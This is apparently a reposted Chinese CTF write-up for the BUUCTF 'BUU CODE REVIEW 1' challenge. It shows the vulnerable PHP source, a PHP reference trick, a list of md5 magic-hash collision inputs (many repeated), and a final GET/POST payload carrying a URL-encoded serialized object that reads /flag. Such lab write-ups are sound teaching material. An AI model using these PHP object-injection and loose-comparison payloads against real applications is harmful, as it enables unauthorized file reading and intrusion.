目錄

• 源碼
• 思路
• 題解
• 總結(jié)

---

源碼

<?php /*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}} }if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}} }

---

思路

這題只要讓$correct和$input相等就能解出flag了,主要但是$correct用到了uniqid()方法

可以用&來(lái)引用,類似于c語(yǔ)言中的指針,使$input指向$correct的地址,讓他們永遠(yuǎn)相等

題解

先在本地進(jìn)行序列化輸出

<?phpclass BUU {public $correct ;public $input ;// public function __destruct() {// try {// $this->correct = base64_encode(uniqid());// if($this->correct === $this->input) {// echo file_get_contents("/flag");// }// } catch (Exception $e) {// }// } }$a = new BUU; $a ->input = &$a->correct;//O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D echo(urlencode(serialize($a)));

md5

s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020

payload

GET:?pleaseget=1 POST:pleasepost=2&md51=s878926199a&md52=s155964671a&obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3BN%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D

---

總結(jié)

太久沒(méi)更新了

總結(jié)

以上是生活随笔為你收集整理的BUU CODE REVIEW 1的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。